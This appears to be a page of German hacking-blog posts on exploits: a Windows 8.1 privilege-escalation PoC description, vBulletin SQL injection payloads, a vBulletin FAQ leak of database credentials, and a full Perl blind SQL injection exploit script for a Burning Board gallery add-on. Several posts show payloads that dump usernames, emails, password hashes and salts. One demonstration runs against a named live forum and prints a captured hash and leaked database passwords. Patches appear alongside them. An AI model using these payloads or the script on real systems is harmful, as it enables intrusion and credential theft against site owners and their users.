Category: Exploits

Ahoi,

auch wenn es etwas verspaetet kommt (da davon vor ein paar Tagen berichtet wurde), moechte ich der Sache dennoch einen eigenen Blogeintrag widmen. Wie die meisten vermutlich mitbekommen haben, hat das “Google Sicherheitsteam” eine Luecke in Windows 8.1. gefunden, mit der es u.a. moeglich ist, Prozesse als Administrator auszufuehren, ohne einer zu sein. Die Luecke befindet sich in einer Funktion (NtApphelpCacheControl) in der Datei ahcache.sys, die nicht richtig ueberprueft, ob der User ein Administrator ist.

James Forshaw hat die Luecke am 30. September 2014 an Microsoft gemeldet und ihnen eine Frist von 30 Tagen gegeben, die Luecke zu schließen. Da dies nicht geschehen ist, hat er die Luecke am 29. Dezember 2014 hier veroeffentlicht: https://code.google.com/p/google-security-research/issues/detail?id=118

Platform: Windows 8.1 Update 32/64 bit (No other OS tested)

On Windows 8.1 update the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext.

This function has a vulnerability where it doesn’t correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller’s impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem’s SID. It doesn’t check the impersonation level of the token so it’s possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways.

It is just then a case of finding a way to exploit the vulnerability. In the PoC a cache entry is made for an UAC auto-elevate executable (say ComputerDefaults.exe) and sets up the cache to point to the app compat entry for regsvr32 which forces a RedirectExe shim to reload regsvr32.exe. However any executable could be used, the trick would be finding a suitable pre-existing app compat configuration to abuse.

It’s unclear if Windows 7 is vulnerable as the code path for update has a TCB privilege check on it (although it looks like depending on the flags this might be bypassable). No effort has been made to verify it on Windows 7. NOTE: This is not a bug in UAC, it is just using UAC auto elevation for demonstration purposes.

The PoC has been tested on Windows 8.1 update, both 32 bit and 64 bit versions. I’d recommend running on 32 bit just to be sure. To verify perform the following steps:

1) Put the AppCompatCache.exe and Testdll.dll on disk
2) Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables).
3) Execute AppCompatCache from the command prompt with the command line “AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll”.
4) If successful then the calculator should appear running as an administrator. If it doesn’t work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.

Ein Proof of Concept ist auf der Quellseite verfuegbar, einen Mirror gibts auch hier.

Ich kann dazu nur sagen, dass es auf meinem eigenen System funktioniert hat. Getestet auf Windows 8.1 64bit – jedoch erst beim zweiten Ausfuehren.

Ahoi,

vor ein paar Monaten, hatte ich zu einer SQL Injection in vBulletin ja schon einige Worte geschrieben, heute folgen die naechsten Worte.

Das lustige ist, dass es im prinzip das selbe Modul wie damals war.

Das Exploit ist seit gestern bzw. heute draußen:

# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S	
# Software Link: [[url]http://www.vbulletin.com/][/url]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [[url]http://members.vbulletin.com/][/url]

######################################################################################################
Vulnerability:
######################################################################################################

Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.

#####################################################################################################
Vulnerable Code:
#####################################################################################################

File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid



		
		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)

		{

			$value = $registry->GPC['messagegroupid'];

			if (!is_array($value))

			{

				$value = array($value);

			}



			if (!(in_array(' ',$value) OR in_array('',$value)))

			{

				if ($rst = $vbulletin->db->query_read("

					SELECT socialgroup.name

					FROM " . TABLE_PREFIX."socialgroup AS socialgroup

--->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

				
			}



############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
	      --> Search Single Content Type

Keywords :   Valid Group Message

Search Type : Group Messages 

Search in Group : Valid Group Id

&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day


###########################################################################################
Note:
###########################################################################################

Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

Quelle: http://www.exploit-db.com/exploits/17555/

Schlicht gehalten und das wichtigste ist drin. Der Exploit Titel ist uebrigens falsch, da es die Version 4.1.4 genauso betrifft.

Zum Thema ausnutzen muss ich denk ich nichts sagen, das hab ich beim letzten Mal ausfuehrlich getan und das klappt im Prinzip in diesem Exploit genauso.

Aber zum Thema Luecke fixxen werd ich ein paar Dinge sagen, die ich mir nicht selber ausgedacht habe, sondern werde diese vom vB veroeffentlichtem Patch uebernehmen:

Wie im obigen Exploit zu sehen, geht es um den Code in Zeile 397 (den kompletten code block seht ihr im exploit oben):

WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")

Das wurde nun geaendert zu:

WHERE socialgroup.groupid IN (" . implode(', ', array_map('intval', $value)) .")")

Eine weitere Zeile die geaendert wurde ist 424:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', $value) .")")

wurde geaendert in:

					WHERE socialgroupcategory.socialgroupcategoryid IN (" . implode(', ', array_map('intval', $value)) .")")

Dann Zeile 511 – 515:

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY,
		'categoryid'         => TYPE_ARRAY
	);

zu

	protected $type_globals = array (
		'nocache'            => TYPE_UINT,
		'messagegroupid'     => TYPE_ARRAY_UINT,
		'categoryid'         => TYPE_ARRAY_UINT,
	);

Kunden koennen sich den Patch natuerlich im Kundenpanel runterladen.

Wer sich nun denkt “toll, und was soll das ganze?” – in erster Linie wollte ich den Blogeintrag schreiben, weil die Luecke quasi im gleichen Modul ist zu der von damals und als zweiten Gedanken um den Leuten ohne vB Lizenz eine Moeglichkeit zu geben, ihr Board vor der Luecke zu schuetzen – als dritter Gedanke sollte natuerlich auch meinem Slogan dieser Blogeintrag gewidmet sein.

Bis zur naechsten vB Vuln 😉

Ahoi,

Seit dem letzten Knueller von vBulletin, habe ich eigentlich nicht mehr mit einer gravierenden Luecke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veroeffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.

Interessant ist beispielsweise, dass es folgende Versionen betrifft:

vBulletin Publishing suite

• 4.1.2
• 4.1.1
• 4.1.0 PL2
• 4.0.8 PL2
• 4.0.7
• 4.0.6
• 4.0.5
• 4.0.4 PL1
• 4.0.3 PL1
• 4.0.2 PL4
• 4.0.1
• 4.0.0 PL1

vBulletin Forum classic

• 4.1.2
• 4.1.1
• 4.1.0 PL2
• 4.0.8 PL2
• 4.0.7
• 4.0.6 PL1
• 4.0.5
• 4.0.4 PL1
• 4.0.3 PL1
• 4.0.2 PL4
• 4.0.1
• 4.0.0 PL1

Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hoert sich interessant an - ist es auch! Wo befindet sich die Luecke?

Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Luecke ist aber die gleiche.
Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{
			//If we have an array, we have to use equals.
			$sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key IN (" . implode(', ', $id) . ")";
 
			if ($rst = $vbulletin->db->query_read($sql))
			{
				while($row = $vbulletin->db->fetch_row($rst))
				{
					$names[] = $row[0];
				}
			}
 
			if (count($names) > 0)
			{
				return $table_display . ': ' . implode(', ', $names);
			}
		}
		else
		{
			//If we got here, we have a single value
			if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
				$table WHERE $key = $id"))
			{
				return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
					. ' ' . $row[0];
			}
		}
		return "";
	}

Vorallem die Variable $id ist nun fuer uns interessant, da sie in dieser Datei nicht gefiltert/ueberprueft wird.

Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:

vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
					'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));

Wenn wir das nun mit der obigen Funktion vergleichen:

	public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
	{
		global $vbulletin, $vbphrase;
		$names = array();
 
		if (is_array($id))
		{

Wird es diese wohl sein 😉

Wie nutze ich das nun aus?

Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Moeglichkeit zeigen. wie ihr die Luecke ausnutzen koennt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (fuer Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.

Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, waehlen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.

Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum

Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

*Screenshot1*

Einen Treffer gibts auch:

*Screenshot2*

Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=

Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #

Und sieh an, sieh an:

*Screenshot3*

Eine eindeutige Ausgabe 🙂

Nun kann man zum Beispiel so weiter machen:

type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#

und siehe da:

*Screenshot4*

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:[email protected]

Quasi owned 😉

Wie behebe ich die Luecke?

Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):

/vb/search/searchtools.php

		$id = $vbulletin->db->sql_prepare($id);
		if (is_array($id))
		{

Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die

/includes/class_core.php

editiert werden, naemlich:

Alt (Zeile 750):

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Neu:

	function sql_prepare($value)
	{
		if (is_string($value))
		{
			return "'" . $this->escape_string($value) . "'";
		}
		else if (is_numeric($value) AND $value + 0 == $value)
		{
			return $value;
		}
		else if (is_bool($value))
		{
			return $value ? 1 : 0;
		}
		else if (is_null($value))
		{
			return "''";
		}
		else if (is_array($value))
		{
			foreach ($value as $key => $item)
			{
				$value[$key] = $this->sql_prepare($item);
			}
			return $value;
		}
		else
		{
			return "'" . $this->escape_string($value) . "'";
		}
	}

Soviel dazu erstmal, wuensch euch noch eine tolle Woche, mein naechstes Linux Tutorial folgt am Wochenende!

// Hinweis: Der Eintrag war damals http://j0hnx3r.org/?p=818 und ist nun ueber https://j0hnx3r.org/?p=818 bzw https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/ erreichbar

Ist vllt schon dem ein oder anderen bekannt, aber ich find das echt interessant, dass einer großen und maechtigen Forensoftware wie vBulletin der Fehler unterlaufen kann, dass die MySQL Zugangsdaten fuer jede beliebige Person sichtbar werden kann.

Die Luecke wurde heute nachmittag veroeffentlicht und vBulletin reagierte mit einem Patch darauf.

Die faq.php wurde nur indirekt davon betroffen und dient eher als “Ausgabe”, da ein Fehler in den phrases dafuer verantwortlich war.

Wo befindet sich die Luecke?

Schauen wir uns mal die /install/vbulletin-language-de-du.xml Datei an und suchen nach “database_ingo” – was finden wir? Ah, interessant:

config['Database']['dbname']}

Datenbank-Server: {$vbulletin->config['MasterServer']['servername']}

Datenbank-Port: {$vbulletin->config['MasterServer']['port']}

Datenbank-Benutzername: {$vbulletin->config['MasterServer']['username']}

Datenbank-Kennwort: {$vbulletin->config['MasterServer']['password']}]]>

Es werden uns also unsere MySQL Datenbank Daten ausgegeben.

In der englischen Version sieht das ganze aehnlich aus /install/vbulletin-language.xml line 3701:

config['Database']['dbname']}

Database Host: {$vbulletin->config['MasterServer']['servername']}

Database Port: {$vbulletin->config['MasterServer']['port']}

Database Username: {$vbulletin->config['MasterServer']['username']}

Database Password: {$vbulletin->config['MasterServer']['password']}]]>

Wie nutze ich das nun aus?
Wir suchen uns ein Forum, welches von dieser Luecke betroffen ist, klicken oben auf “Hilfe”/”FAQ”, geben bei “Suchbegriffe” bzw. “Search Word(s):” dann “Datenbank” (bzw. database) ein und sehen dann, aha, erster Treffer:

Datenbank-Name: vbulletin
Datenbank-Server: localhost
Datenbank-Port: 3306
Datenbank-Benutzername: root
Datenbank-Kennwort: my4moo

Bzw. auf nem englischen Board:

Database Name: pro_astrogaming_com
Database Host: localhost
Database Port: 3306
Database Username: pro_astrogaming
Database Password: gitl0st

Screenshot

Auf das, was man damit anfangen kann, brauche ich denk ich nicht weiter drauf eingehen.

Wie schuetze ich mich davor?
Wie oben bereits gepostet durch einen Patch von der offiziellen vBulletin Seite, oder durch ein MySQL Query:

DELETE FROM `vb_phrase` WHERE `varname`='database_ingo'

Soviel dazu erstmal, wuensch euch noch eine schoene Woche 🙂

Hi,

hier ist mein Erstes Exploit, welches bei milw0rm am 05.10.2008 veroeffentlicht wurde 🙂

Nochmal vielen lieben Dank an electron1x fuer seine große Hilfe an diesem Exploit, ohne ihn haette ich das bestimmt nicht (so schnell) geschafft! 🙂

Galerie 3.2 (pic) WBB Lite Addon Blind SQL Injection Exploit

#!/usr/bin/perl
#####################################################################################
#
#    Galerie 3.2 (galerie.php) Remote "Blind" SQL Injection
#
#    found by: J0hn.X3r
#    exploit written by: J0hn.X3r and electron1x
#    Date:     05.10.2008
#    Dork: "Galerie 3.2 © 2004 by progressive"
#
#    Contact:
#       J0hn.X3r
#            [+] ICQ:   573813
#            [+] Mail:  J0hn.X3r[at]gmail.com
#       electron1x
#            [+] Mail:  electron1x *at* mail *dot* ru
#
#    Greetz to: nexos, Barbers, -tmh-, Patrick_B, Sector, Loader007, n00bor
#               Mac_Hack, Five-Three-Nine, f0Gx, bizzit, h0yt3r, no_swear_ftW,
#               Lidloses_Auge, Sys-Flaw, Free-hack, Universal Crew & rest :-)
#
#####################################################################################
#
#  First, Galerie 3.2 is an addon for Burning Board Lite.
#
#  http://www.site.com/galerie.php?action=show&pic=10
#
#  If we add a ' to the pic id we get an SQL Error. But the Query is an UPDATE Query, so we can't use UNION.
#
#  We have to try it with a Blind SQL Injection.
#  ( that slow and shitty subquery thingy ;) )
#
#  injection:
#  http://www.site.com/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/*
#
#####################################################################################

use strict;
use warnings;
use LWP::UserAgent;

banner();

my $url = shift || usage($0);
my $usr_id  = shift;
my $keyspace = "0123456789abcdef";

$usr_id = 1 unless ( $usr_id and $usr_id =~ /^\d+$/ );
$url    = 'http://' . $url unless ( $url =~ /^https?:\/\/.+?\/$/ );


# global vars...
our @url          = ( "$url/galerie.php?action=show&pic={id}%27+and+ascii(substring((SELECT+password+from+bb2_users+where+userid=$usr_id),1,1))", '', '/*' );
our $ua           = LWP::UserAgent->new;
$ua->agent('Mozilla/4.8 [en] (Windows NT 6.0; U)'); # btw we dont use windows ..

# regexes..
our $regex        = 'Bild\ \d+\ von\ (\d+)';
my  $prefix_regex = '(\w+)_galeriedata';
my  $regex_id     = 'pic=(\d+)';

my  $prefix       = '';
my  $pic_id       = '';

print "[~] Preparing attack...\n";
my $r = $ua->get($url . "/galerie.php?action=show&pic=%27");
        die   "\t[!!] Couldnt connect to $url!\n"             unless ( $r->is_success );
        die   "\t[!!] Target doesnt seem to be vulnerable!\n" unless ( $r->content =~ /$prefix_regex/ );
        print "\t[*] Target seems to be vulnerable\n";
        $prefix = $1;
        $url[0] =~ s/bb2/$prefix/;

$r    = $ua->get($url . "/galerie.php");
        die   "\t[!!] Couldnt get a valid pic-id\n" unless ( $r->content =~ /$regex_id/ );
        $pic_id = $1;
        $url[0] =~ s/{id}/$pic_id/;

        print "\t[*] Using table prefix $prefix\n";
        print "\t[*] Using pic-id $pic_id\n";


print "[~] Unleashing Black Magic...\n";
        print STDERR "\t[*] Getting Hash "; 
                                           

for ( 1..32 ) {
        $url[0] =~ s/\),\d{1,2},/\),$_,/;
        blind( build_array($keyspace), 0, 16);
}
print "\n";



sub banner
{
        print "[~] Galerie 3.2 WBB Lite Addon Blind SQL-Injection Exploit\n";
        print "[~] Written by J0hn.x3r and electron1x\n\n"
}

sub usage
{
        my $script = shift;
        print "[*] Usage\n" ,
                        "\t$script  \n" ,
                        "\tuser id defaults to 1\n" ,
              "[*] Examples\n" ,
                        "\t$script http://example.com/forum/ 2\n" ,
                        "\t$script localhost/board/\n" ,
                        "\t$script localhost 31337\n";
        exit(0);
}



sub blind
{
        my ( $keyspace,  $bottom, $top ) = @_;
        my $center = int ($bottom+$top)/2;
        print STDERR chr $$keyspace[$center];
        if ( request($$keyspace[$center], '=')) {
                return;
        } elsif ( $top-$bottom > 0) {
                        print STDERR "\b";
                        return blind($keyspace, $center+1, $top   )
                                unless  (  request($$keyspace[$center], '<') );
                        return blind($keyspace, $bottom, $center-1);
        } else {
                print STDERR "\n[!!] Something went wront, dunno what..\n";
                exit(1);
        }
}

sub build_array
{
        my @sorted = sort {$a<=>$b} map {ord} $_[0] =~ /./g;
        return \@sorted;
}


sub request
{
        my ( $key, $flag ) = @_;
        my $r = $ua->get($url[0] . $flag . $url[1] . $key . $url[2]);
        $r->content =~ /$regex/;
        return ($1 > 0);
}

__END__

# milw0rm.com [2008-10-05]

Exploit Link: http://milw0rm.com/exploits/6675

Author Link: http://milw0rm.com/author/1639